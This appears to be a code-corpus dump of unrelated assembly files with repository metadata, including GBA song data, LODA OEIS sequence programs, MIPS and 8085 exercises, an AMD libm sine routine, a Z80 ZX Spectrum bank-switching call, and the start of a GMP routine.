.byte N01 , DsM1 .byte N01 , Ds2 .byte W01 .byte BEND , c_v+29 .byte N01 , Cn0 .byte W01 .byte BEND , c_v+0 .byte N01 , En0 .byte N01 , Cs2 .byte W01 .byte BEND , c_v+0 .byte N01 , Gn1 .byte W01 .byte BEND , c_v-2 .byte N01 , Dn0 .byte W01 .byte BEND , c_v-7 .byte N01 , Fn1 .byte W01 .byte BEND , c_v-16 .byte N01 , Ds0 .byte W01 .byte BEND , c_v+0 .byte N02 , Gs0 .byte N01 , As1 .byte W01 .byte BEND , c_v-45 .byte W01 .byte c_v+0 .byte N01 , Cn2 .byte W01 .byte BEND , c_v+0 .byte W01 .byte c_v-1 .byte N01 , Fn0 .byte N01 , Cn2 .byte W01 .byte BEND , c_v+21 .byte N01 , Gn0 .byte W01 .byte BEND , c_v-60 .byte N01 , Cs2 .byte W01 .byte BEND , c_v-3 .byte N01 , Cn1 .byte W01 .byte BEND , c_v+0 .byte N01 , DnM1 .byte N01 , Bn0 .byte N01 , Dn2 .byte W01 .byte BEND , c_v+1 .byte N01 , Cn2 .byte W01 .byte BEND , c_v-40 .byte N01 , As0 .byte W01 .byte BEND , c_v+1 .byte N01 , As1 .byte W01 .byte BEND , c_v+19 .byte N01 , An0 .byte W01 .byte BEND , c_v-43 .byte N01 , Cn2 .byte W01 .byte BEND , c_v+44 .byte N01 , Gs0 .byte W01 .byte BEND , c_v+2 .byte N01 , Gn0 .byte N01 , An1 .byte W01 .byte BEND , c_v-39 .byte N01 , BnM2 .byte N01 , Dn2 .byte W01 .byte BEND , c_v-35 .byte N12 , Cn1 .byte W01 .byte BEND , c_v-11 .byte W01 .byte c_v-29 .byte W01 .byte c_v-45 .byte W01 .byte c_v+24 .byte W01 .byte c_v-52 .byte W01 .byte c_v+33 .byte W01 .byte c_v-13 .byte W01 .byte c_v+20 .byte W01 .byte c_v+21 .byte W01 .byte c_v-35 .byte W01 .byte c_v+63 .byte W01 .byte c_v-2 .byte N01 , Cn0 .byte W01 .byte BEND , c_v+4 .byte N01 , Bn1 .byte W01 .byte BEND , c_v+14 .byte N01 , Dn0 .byte W01 .byte BEND , c_v+34 .byte N01 , Gn1 .byte W01 .byte BEND , c_v+63 .byte N01 , Ds0 .byte W01 .byte BEND , c_v-39 .byte N01 , BnM2 .byte N01 , Gs0 .byte N01 , Dn2 .byte W01 .byte BEND , c_v+46 .byte W01 .byte c_v+0 .byte N01 , FsM1 .byte N01 , Fs0 .byte N01 , Ds2 .byte W01 .byte BEND , c_v-2 .byte N01 , GsM2 .byte N01 , Dn2 .byte W01 .byte BEND , c_v+0 .byte N01 , Gn0 .byte W01 .byte BEND , c_v+4 .byte N01 , Cn2 .byte W01 .byte BEND , c_v+2 .byte N01 , Cn0 .byte N01 , Ds1 .byte W01 .byte BEND , c_v-2 .byte N01 , BnM2 .byte N01 , Cn0 .byte N01 , Dn2 .byte W01 .byte BEND , c_v-3 .byte N01 , GsM2 .byte N01 , An1 .byte N01 , Dn2 .byte W01 .byte BEND , c_v+4 .byte N01 , Cn0 .byte W01 .byte BEND , c_v-30 .byte N01 , FsM1 .byte N01 , En1 .byte N01 , Ds2 .byte W01 .byte BEND , c_v-53 .byte N01 , As0 .byte W01 .byte BEND , c_v+2 .byte N01 , Gn0 .byte N01 , Cs2 .byte W01 .byte BEND , c_v+59 .byte W01 .byte c_v+0 .byte N01 , As1 .byte W01 .byte BEND , c_v+0 .byte N01 , En0 .byte N01 , Gn1 .byte W01 .byte BEND , c_v+20 .byte N01 , Cs0 .byte W01 .byte BEND , c_v+4 .byte N01 , An1 .byte W01 .byte BEND , c_v+14 .byte N01 , Ds0 .byte W01 .byte BEND , c_v-16 .byte N01 , Gs1 .byte W01 .byte BEND , c_v+1 .byte N01 , Fn0 .byte N01 , As1 .byte W01 .byte BEND , c_v-34 .byte W01 .byte c_v-2 .byte N01 , GsM2 .byte N01 , Gn0 .byte N01 , An1 .byte N01 , Dn2 .byte W01 .byte BEND , c_v+1 .byte N01 , Gs0 .byte W01 ; 005 ---------------------------------------- .byte BEND , c_v-38 .byte N01 , Bn1 .byte W01 .byte BEND , c_v+6 .byte N01 , Gs0 .byte W01 .byte BEND , c_v-63 .byte N01 , Cs2 .byte W01 .byte BEND , c_v+1 .byte N01 , BnM2 .byte N01 , As0 .byte N01 , Dn2 .byte W01 .byte BEND , c_v-64 .byte N02 , Cs1 .byte W01 .byte BEND , c_v+23 .byte W01 .byte c_v+42 .byte N01 , Cn0 .byte W01 .byte BEND , c_v+58 .byte N01 , Cn1 .byte W01 .byte BEND , c_v+0 .byte N01 , Cn0 .byte N01 , Cs1 .byte W01 .byte BEND , c_v-2 .byte N01 , FsM1 .byte N01 , As0 .byte N01 , Ds2 .byte W01 .byte BEND , c_v+61 .byte N01 , Cs2 .byte W01 .byte BEND , c_v-2 .byte N01 , An0 .byte W01 .byte BEND , c_v-42 .byte N01 , FnM2 .byte N01 , Dn2 .byte W01 .byte BEND , c_v+1 .byte N06 , Cn1 .byte W01 .byte BEND , c_v-13 .byte W01 .byte c_v+14 .byte W01 .byte c_v-36 .byte W01 .byte c_v+25 .byte W01 .byte c_v-43 .byte W01 .byte c_v-13 .byte N01 , GsM2 .byte N01 , Gn0 .byte N01 , Gs1 .byte N01 , Dn2 .byte W76 .byte VOL , 0*song013restored_mvl/mxv .byte BEND , c_v+0 .byte W01 ; 006 ---------------------------------------- .byte VOICE , 8 .byte BENDR , 12 .byte 12 .byte BEND , c_v-13 .byte FINE ;******************************************************; .align 4 song013restored: .byte 6 ; NumTrks .byte 0 ; NumBlks .byte song013restored_pri ; Priority .byte song013restored_rev ; Reverb. //emit_clean_voicegroup_offset_for_song 13 .word 0x8107760 .word @song013restored_1 .word @song013restored_2 .word @song013restored_3 .word @song013restored_4 .word @song013restored_5 .word @song013restored_6
19.010703
56
0.524512
ea19f10a3db2e982277910532bca630117f96f20
1,346
asm
Assembly
programs/oeis/020/A020732.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
22
2018-02-06T19:19:31.000Z
2022-01-17T21:53:31.000Z
programs/oeis/020/A020732.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
41
2021-02-22T19:00:34.000Z
2021-08-28T10:47:47.000Z
programs/oeis/020/A020732.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
5
2021-02-24T21:14:16.000Z
2021-08-09T19:48:05.000Z
; A020732: Pisot sequence T(4,7). ; 4,7,12,20,33,54,88,143,232,376,609,986,1596,2583,4180,6764,10945,17710,28656,46367,75024,121392,196417,317810,514228,832039,1346268,2178308,3524577,5702886,9227464,14930351,24157816,39088168,63245985,102334154,165580140,267914295,433494436,701408732,1134903169,1836311902,2971215072,4807526975,7778742048,12586269024,20365011073,32951280098,53316291172,86267571271,139583862444,225851433716,365435296161,591286729878,956722026040,1548008755919,2504730781960,4052739537880,6557470319841,10610209857722,17167680177564,27777890035287,44945570212852,72723460248140,117669030460993,190392490709134,308061521170128,498454011879263,806515533049392,1304969544928656,2111485077978049,3416454622906706,5527939700884756,8944394323791463,14472334024676220,23416728348467684,37889062373143905,61305790721611590,99194853094755496,160500643816367087,259695496911122584,420196140727489672,679891637638612257,1100087778366101930,1779979416004714188,2880067194370816119,4660046610375530308,7540113804746346428,12200160415121876737,19740274219868223166,31940434634990099904,51680708854858323071,83621143489848422976,135301852344706746048,218922995834555169025,354224848179261915074,573147844013817084100,927372692193078999175,1500520536206896083276,2427893228399975082452 seq $0,20712 ; Pisot sequences E(5,8), P(5,8). sub $0,1
224.333333
1,254
0.89896
704dcc7afec4ee4678d3bbeabc4ca4eda3e3d9e8
376
asm
Assembly
test.asm
ILZM/mips_examples
eddd38d1721756c6aa7b916b434a7980a2b3e2d5
[ "Unlicense" ]
null
null
null
test.asm
ILZM/mips_examples
eddd38d1721756c6aa7b916b434a7980a2b3e2d5
[ "Unlicense" ]
null
null
null
test.asm
ILZM/mips_examples
eddd38d1721756c6aa7b916b434a7980a2b3e2d5
[ "Unlicense" ]
null
null
null
.data array: .word 1 2 3 4 5 6 7 8 9 10 arraylen: .word 10 .text main: la $a0,array # Disregard this instruction for the counting la $t0,arraylen # Disregard this instruction for the counting lw $a1,0($t0) add $v0,$zero,$zero loop: lw $t1,0($a0) slt $t2,$t1,$v0 bne $t2,$zero,skip add $v0,$zero,$t1 skip: addi $a0,$a0,4 addi $a1,$a1,-1 bne $a1,$zero,loop
15.04
62
0.643617
029e8b975f39ff6b7050119a188f4e4137cdfa00
559
asm
Assembly
oeis/016/A016761.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
11
2021-08-22T19:44:55.000Z
2022-03-20T16:47:57.000Z
oeis/016/A016761.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
9
2021-08-29T13:15:54.000Z
2022-03-09T19:52:31.000Z
oeis/016/A016761.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
3
2021-08-22T20:56:47.000Z
2021-09-29T06:26:12.000Z
; A016761: a(n) = (2*n+1)^9. ; 1,19683,1953125,40353607,387420489,2357947691,10604499373,38443359375,118587876497,322687697779,794280046581,1801152661463,3814697265625,7625597484987,14507145975869,26439622160671,46411484401953,78815638671875,129961739795077,208728361158759,327381934393961,502592611936843,756680642578125,1119130473102767,1628413597910449,2334165173090451,3299763591802133,4605366583984375,6351461955384057,8662995818654939,11694146092834141,15633814156853823,20711912837890625,27206534396294947,35452087835576229 mul $0,2 add $0,1 pow $0,9
79.857143
501
0.881932
c39efe27d3e69dd324fe87d0cb25f8f9ad22a721
462
asm
Assembly
programs/oeis/033/A033163.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
1
2021-03-15T11:38:20.000Z
2021-03-15T11:38:20.000Z
programs/oeis/033/A033163.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
programs/oeis/033/A033163.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
; A033163: Begins with (3, 5) and avoids 3-term arithmetic progressions. ; 3,5,6,8,12,14,15,17,30,32,33,35,39,41,42,44,84,86,87,89,93,95,96,98,111,113,114,116,120,122,123,125,246,248,249,251,255,257,258,260,273,275,276,278,282,284,285,287,327,329,330,332,336,338,339,341,354,356,357,359,363 cal $0,191106 ; Increasing sequence generated by these rules: a(1)=1, and if x is in a then 3x-2 and 3x are in a. sub $0,1 add $1,$0 mod $1,3 add $1,$0 div $1,2 add $1,3
42
217
0.694805
fa88bc185c111abc7bedd82aea8283d7f97f1bc0
382
asm
Assembly
oeis/108/A108362.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
11
2021-08-22T19:44:55.000Z
2022-03-20T16:47:57.000Z
oeis/108/A108362.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
9
2021-08-29T13:15:54.000Z
2022-03-09T19:52:31.000Z
oeis/108/A108362.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
3
2021-08-22T20:56:47.000Z
2021-09-29T06:26:12.000Z
; A108362: Pair reversal of Fibonacci numbers. ; Submitted by Jamie Morken(s3) ; 1,0,2,1,5,3,13,8,34,21,89,55,233,144,610,377,1597,987,4181,2584,10946,6765,28657,17711,75025,46368,196418,121393,514229,317811,1346269,832040,3524578,2178309,9227465,5702887,24157817,14930352,63245986 mov $2,1 lpb $0 sub $0,2 add $1,$2 add $2,$1 lpe lpb $0 sub $0,1 min $2,$1 lpe mov $0,$2
23.875
202
0.712042
6d62ba4e21d4eef6616c5145f163cb1ab2d69a44
3,696
asm
Assembly
src/isa/avx2/masm/sin_fma3.asm
jepler/aocl-libm-ose
4033e022da428125747e118ccd6fdd9cee21c470
[ "BSD-3-Clause" ]
66
2020-11-04T17:06:10.000Z
2022-03-10T08:03:12.000Z
src/isa/avx2/masm/sin_fma3.asm
HollowMan6/aocl-libm-ose
4033e022da428125747e118ccd6fdd9cee21c470
[ "BSD-3-Clause" ]
8
2021-04-18T18:37:53.000Z
2022-03-11T12:49:31.000Z
src/isa/avx2/masm/sin_fma3.asm
HollowMan6/aocl-libm-ose
4033e022da428125747e118ccd6fdd9cee21c470
[ "BSD-3-Clause" ]
8
2020-11-09T03:45:01.000Z
2021-11-08T02:25:31.000Z
; ; Copyright (C) 2008-2020 Advanced Micro Devices, Inc. All rights reserved. ; ; Redistribution and use in source and binary forms, with or without modification, ; are permitted provided that the following conditions are met: ; 1. Redistributions of source code must retain the above copyright notice, ; this list of conditions and the following disclaimer. ; 2. Redistributions in binary form must reproduce the above copyright notice, ; this list of conditions and the following disclaimer in the documentation ; and/or other materials provided with the distribution. ; 3. Neither the name of the copyright holder nor the names of its contributors ; may be used to endorse or promote products derived from this software without ; specific prior written permission. ; ; THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ; ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED ; WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. ; IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, ; INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, ; BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, ; OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, ; WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ; ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE ; POSSIBILITY OF SUCH DAMAGE. ; include fm.inc include trig_func.inc FN_PROTOTYPE_FMA3 sin fname_special TEXTEQU <_sin_special> ;Define name and any external functions being called EXTERN fname_special : PROC text SEGMENT EXECUTE PUBLIC fname fname PROC FRAME StackAllocate stack_size .ENDPROLOG VMOVQ r9,xmm0 MOV rax,r9 AND r9,L__sign_mask ;clear sign sin_early_exit_s_1: CMP r9,L_mask_3fe JG sin_early_exit_s CMP r9,L_mask_3f2 JGE compute_sin_pyby_4 CMP r9,L_mask_3e4 JGE compute_x_xxx_0_1666 JMP return_sin_c compute_x_xxx_0_1666: VMULSD xmm1,xmm0,xmm0 ; VMULSD xmm1,xmm1,xmm0 ; xmm1 x3 VFNMADD231SD xmm0,xmm1,L_point_166 ; x - x*x*x*0.166666666666666666; JMP return_sin_c compute_sin_pyby_4: sin_piby4_s_xx_zero_fma3 JMP return_sin_c sin_early_exit_s: MOV r8,L__inf_mask_64 AND rax,r8 CMP rax, r8 JZ sin_naninf range_reduce: vmovdqa XMMWORD PTR [save_xmm6+rsp], xmm6 vmovdqa XMMWORD PTR [save_xmm7+rsp], xmm7 VMOVAPD xmm6,xmm0 VMOVQ xmm0,r9 ; r9 x with the sign cleared cmp r9,L_e_5 JGE sin_remainder_piby2 ;sin_range_e_5_s: range_e_5_s_fma3 JMP sin_exit_s sin_remainder_piby2: call_remainder_piby2_fma3 sin_exit_s: VMOVQ rax,xmm7 and rax,01h cmp rax,01h JZ cos_piby4_compute sin_piby4_compute: sin_piby4_s_fma3 JMP sin_exit_s_1 cos_piby4_compute: cos_piby4_s_fma3 sin_exit_s_1: VPCMPEQQ xmm2,xmm7,XMMWORD PTR L_int_two VPCMPEQQ xmm3,xmm7,XMMWORD PTR L_int_three VORPD xmm3,xmm2,xmm3 VANDNPD xmm3,xmm3,L_signbit VXORPD xmm0,xmm0,xmm3 VANDNPD xmm6,xmm6,L_signbit VXORPD xmm0,xmm6,xmm0 return_sin_s: RestoreRegsAVX xmm6, save_xmm6 RestoreRegsAVX xmm7, save_xmm7 StackDeallocate stack_size ret return_sin_c: StackDeallocate stack_size ret sin_naninf: call fname_special StackDeallocate stack_size ret fname endp TEXT ENDS END
27.176471
86
0.721861
df607de765885bf140439940f54375ade60f296d
700
asm
Assembly
oeis/001/A001824.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
11
2021-08-22T19:44:55.000Z
2022-03-20T16:47:57.000Z
oeis/001/A001824.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
9
2021-08-29T13:15:54.000Z
2022-03-09T19:52:31.000Z
oeis/001/A001824.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
3
2021-08-22T20:56:47.000Z
2021-09-29T06:26:12.000Z
; A001824: Central factorial numbers. ; Submitted by Christian Krause ; 1,10,259,12916,1057221,128816766,21878089479,4940831601000,1432009163039625,518142759828635250,228929627246078500875,121292816354463333793500,75908014254880833434338125,55399444912646408707007883750,46636497509226736668824289999375,44855993714365114880520127552290000,48885002298229900429936984357681700625,59924230396370398190652871616736146156250,82085397074403568573879361822067461128921875,124919141981134371335119179143681130246240562500,210091369530386990929927566925061409706908129703125 mov $2,1 mov $3,1 lpb $0 mov $1,$0 add $1,1 add $1,$0 sub $0,1 pow $1,2 mul $3,$1 add $3,$2 mul $2,$1 lpe mov $0,$3
38.888889
496
0.845714
88e712ee5e99d33709d0c20517638bf42c724e71
375
asm
Assembly
programs/oeis/089/A089619.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
22
2018-02-06T19:19:31.000Z
2022-01-17T21:53:31.000Z
programs/oeis/089/A089619.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
41
2021-02-22T19:00:34.000Z
2021-08-28T10:47:47.000Z
programs/oeis/089/A089619.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
5
2021-02-24T21:14:16.000Z
2021-08-09T19:48:05.000Z
; A089619: Greatest prime factor of n^2 + (n+1)^2. ; 5,13,5,41,61,17,113,29,181,17,53,313,73,421,37,109,613,137,761,29,37,1013,17,1201,1301,281,89,13,1741,1861,397,2113,449,2381,2521,41,97,593,3121,193,53,3613,757,233,101,173,4513,941,29,5101,1061,149,229,457,101 mov $2,$0 add $2,3 mul $0,$2 seq $0,76567 ; Greatest prime divisor of 4n+6 (sum of four successive integers).
46.875
212
0.706667
5cb28f460285a8850978e2a3f5ab5098de76a024
453
asm
Assembly
programs/oeis/071/A071578.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
programs/oeis/071/A071578.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
programs/oeis/071/A071578.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
; A071578: Number of iterations of Pi(n) needed to reach 1, where Pi(x) denotes the number of primes <= x. ; 0,1,2,2,3,3,3,3,3,3,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5 pow $0,8 add $0,2 div $0,3 mov $1,4 mov $2,3 lpb $0,1 div $0,$2 div $0,20 add $1,3 mul $2,5 lpe mul $1,6 sub $1,24 div $1,18
25.166667
211
0.558499
be609bc44be0222158b201b77272e1b734b6191a
610
asm
Assembly
programs/oeis/234/A234017.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
22
2018-02-06T19:19:31.000Z
2022-01-17T21:53:31.000Z
programs/oeis/234/A234017.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
41
2021-02-22T19:00:34.000Z
2021-08-28T10:47:47.000Z
programs/oeis/234/A234017.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
5
2021-02-24T21:14:16.000Z
2021-08-09T19:48:05.000Z
; A234017: Inverse function for injection A055938. ; 0,0,1,0,0,2,3,0,0,4,0,0,5,6,7,0,0,8,0,0,9,10,0,0,11,0,0,12,13,14,15,0,0,16,0,0,17,18,0,0,19,0,0,20,21,22,0,0,23,0,0,24,25,0,0,26,0,0,27,28,29,30,31,0,0,32,0,0,33,34,0,0,35,0,0,36,37,38,0,0,39,0,0,40,41,0,0,42,0,0,43,44,45,46,0,0,47,0,0,48 mov $4,2 mov $6,$0 lpb $4 mov $0,$6 sub $4,1 add $0,$4 trn $0,1 seq $0,234016 ; Partial sums of the characteristic function of A055938. mov $7,$2 cmp $7,0 add $2,$7 div $2,$2 add $2,$0 mul $2,$0 mov $3,$4 mul $3,$2 add $1,$3 mov $5,$2 lpe min $6,1 mul $6,$5 sub $1,$6 div $1,2 mov $0,$1
21.785714
240
0.572131
502186701762d7c267fd8b246fcffc6b224b81e8
342
asm
Assembly
programs/oeis/174/A174784.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
22
2018-02-06T19:19:31.000Z
2022-01-17T21:53:31.000Z
programs/oeis/174/A174784.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
41
2021-02-22T19:00:34.000Z
2021-08-28T10:47:47.000Z
programs/oeis/174/A174784.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
5
2021-02-24T21:14:16.000Z
2021-08-09T19:48:05.000Z
; A174784: Expansion of x*(1-x+x^3+x^4)/(1+x^6) (Period 12). ; 0,1,-1,0,1,1,0,-1,1,0,-1,-1,0,1,-1,0,1,1,0,-1,1,0,-1,-1,0,1,-1,0,1,1,0,-1,1,0,-1,-1,0,1,-1,0,1,1,0,-1,1,0,-1,-1,0,1,-1,0,1,1,0,-1,1,0,-1,-1,0,1,-1,0,1,1,0,-1,1,0,-1,-1,0,1,-1,0,1,1,0,-1,1,0,-1,-1,0,1,-1,0,1,1,0 sub $0,4 mov $1,-3 mov $2,$0 bin $2,2 bin $1,$2 mod $1,3 mov $0,$1
31.090909
212
0.473684
2a47da9ead471dbe1c7c2c3343173fba52047ab3
573
asm
Assembly
19_BinarySymmetry.asm
furkanisitan/ExampleProgramsFor8085Microprocessor
11b2a2ab0f0831938057e0b2453e35d433c5e571
[ "MIT" ]
null
null
null
19_BinarySymmetry.asm
furkanisitan/ExampleProgramsFor8085Microprocessor
11b2a2ab0f0831938057e0b2453e35d433c5e571
[ "MIT" ]
null
null
null
19_BinarySymmetry.asm
furkanisitan/ExampleProgramsFor8085Microprocessor
11b2a2ab0f0831938057e0b2453e35d433c5e571
[ "MIT" ]
null
null
null
STC CMC MVI B, 218 ; B=218 (11011010) MVI C, 0 ; C=0 MVI D, 8 ; D=8 (8 bit old. için döngü 8 kere dönecek) LOOP: MOV A, B ; A=B RLC ; A yı dairesel sola döndür. (Elde biti ile) MOV B, A ; B=A MOV A, C ; A=C RAR ; A yı sağa döndür MOV C, A ; C=A DCR D ; D-=1 JNZ LOOP ; 0 değilse atla HLT ; B (RLC) C (RAR) ;Adım0: 11011010(218) 00000000 ;Adım1: 1011010 1 10000000 ;Adım2: 0110101 1 11000000 ;Adım3: 1101011 0 01100000 ;Adım4: 1010110 1 10110000 ;Adım5: 0101101 1 11011000 ;Adım6: 1011011 0 01101100 ;Adım7: 0110110 1 10110110 ;Adım8: 1101101 0 01011011 (91)
19.758621
53
0.663176
4233597c1f85be8f52509ba2bd385a5d7e45b15a
699
asm
Assembly
programs/oeis/223/A223451.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
22
2018-02-06T19:19:31.000Z
2022-01-17T21:53:31.000Z
programs/oeis/223/A223451.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
41
2021-02-22T19:00:34.000Z
2021-08-28T10:47:47.000Z
programs/oeis/223/A223451.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
5
2021-02-24T21:14:16.000Z
2021-08-09T19:48:05.000Z
; A223451: Number of idempotent 2X2 -n..n matrices of rank 1 ; 10,26,42,58,74,106,122,138,154,186,202,234,250,282,314,330,346,378,394,426,458,490,506,538,554,586,602,634,650,714,730,746,778,810,842,874,890,922,954,986,1002,1066,1082,1114,1146,1178,1194,1226,1242,1274,1306,1338,1354,1386,1418,1450,1482,1514,1530,1594,1610,1642,1674,1690,1722,1786,1802,1834,1866,1930,1946,1978,1994,2026,2058,2090,2122,2186,2202,2234,2250,2282,2298,2362,2394,2426,2458,2490,2506,2570,2602,2634,2666,2698,2730,2762,2778,2810,2842,2874 lpb $0 mov $2,$0 sub $0,1 seq $2,34444 ; a(n) is the number of unitary divisors of n (d such that d divides n, gcd(d, n/d) = 1). add $1,$2 lpe mul $1,8 add $1,10 mov $0,$1
53.769231
456
0.722461
cbaf1a8e8a862618d17e2009d2f8fcbfeb644b69
3,313
asm
Assembly
src/bankedcall.asm
hackneyc/CastleEscape
cbf676a4358bdb32d5b2b5251dd17951af19b5df
[ "BSD-3-Clause" ]
null
null
null
src/bankedcall.asm
hackneyc/CastleEscape
cbf676a4358bdb32d5b2b5251dd17951af19b5df
[ "BSD-3-Clause" ]
11
2021-01-26T02:59:18.000Z
2021-02-05T04:45:55.000Z
src/bankedcall.asm
hackneyc/CastleEscape
cbf676a4358bdb32d5b2b5251dd17951af19b5df
[ "BSD-3-Clause" ]
null
null
null
extern currentBank public bankedCall section CODE_2 include "defs.inc" ; 0xffff +--------+--------+--------+--------+--------+--------+--------+--------+ ; | Bank 0 | Bank 1 | Bank 2 | Bank 3 | Bank 4 | Bank 5 | Bank 6 | Bank 7 | ; | | |(also at| | |(also at| | | ; | | | 0x8000)| | | 0x4000)| | | ; | | | | | | screen | | screen | ; 0xc000 +--------+--------+--------+--------+--------+--------+--------+--------+ ; | Bank 2 | Any one of these pages may be switched in. ; | | ; | | ; | | ; 0x8000 +--------+ ; | Bank 5 | ; | | ; | | ; | screen | ; 0x4000 +--------+--------+ ; | ROM 0 | ROM 1 | Either ROM may be switched in. ; | | | ; | | | ; | | | ; 0x0000 +--------+--------+ ; ; Note: ; Alternate register set is used for temporary ; storage. ; ; Calling Convention: ; call bankedCall ; db <newBank> ; dw <bankedFunction> ; retAddr: <- actual return address from this function ; bankedCall: ex af, af' exx ld a, (currentBank) ; Get the current bank number ld d, a ; and save it. pop hl ; Get the return address it points to the new bank ld a, (hl) ; New bank number inc hl ; Switch to the new bank ld (currentBank), a ld bc, IO_BANK out (c), a ld c, (hl) ; Get the banked routine address inc hl ld b, (hl) inc hl ; hl now points to the address actual return address ; ; Build the new stack frame ; push hl ; Return address from this function push de ; The old bank number ld hl, bankedReturn push hl ; Return address from banked function push bc ; Address of banked routine exx ; Restore all the regs ex af, af' ; All registers are passed into the banked call ret ; Jump to banked routine address on the stack ; ; Banked routines will return here ; bankedReturn: ex af, af' ; Save af from the banked call exx pop af ; Get the old bank number from the stack ; Map in the old bank ld (currentBank), a ld bc, IO_BANK out (c), a exx ex af, af' ; Restore af from the banked call ; All registers from the banked function are available here ret
34.154639
92
0.352551
0723f3e6cad16310a6101c7e6711c12e4eb20320
3,834
asm
Assembly
release/src/router/gmp/source/mpn/x86_64/pentium4/aorslsh1_n.asm
zhoutao0712/rtn11pb1
09e6b6c7ef4b91be0a9374daeacc3ac9f2fa3a05
[ "Apache-2.0" ]
184
2020-04-15T14:28:37.000Z
2020-09-22T15:57:55.000Z
release/src/router/gmp/source/mpn/x86_64/pentium4/aorslsh1_n.asm
zhoutao0712/rtn11pb1
09e6b6c7ef4b91be0a9374daeacc3ac9f2fa3a05
[ "Apache-2.0" ]
8
2019-12-19T19:34:56.000Z
2022-03-10T10:11:28.000Z
release/src/router/gmp/source/mpn/x86_64/pentium4/aorslsh1_n.asm
zhoutao0712/rtn11pb1
09e6b6c7ef4b91be0a9374daeacc3ac9f2fa3a05
[ "Apache-2.0" ]
5
2020-04-21T19:50:23.000Z
2020-09-22T10:58:02.000Z
dnl AMD64 mpn_addlsh1_n, mpn_sublsh1_n -- rp[] = up[] +- (vp[] << 1), dnl optimized for Pentium 4. dnl Copyright 2008 Free Software Foundation, Inc. dnl This file is part of the GNU MP Library. dnl The GNU MP Library is free software; you can redistribute it and/or modify dnl it under the terms of the GNU Lesser General Public License as published dnl by the Free Software Foundation; either version 3 of the License, or (at dnl your option) any later version. dnl The GNU MP Library is distributed in the hope that it will be useful, but dnl WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY dnl or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public dnl License for more details. dnl You should have received a copy of the GNU Lesser General Public License dnl along with the GNU MP Library. If not, see http://www.gnu.org/licenses/. include(`../config.m4') C cycles/limb C K8,K9: 3.8 C K10: 4.8 C P4: 5.8 C P6-15: ? C INPUT PARAMETERS define(`rp',`%rdi') 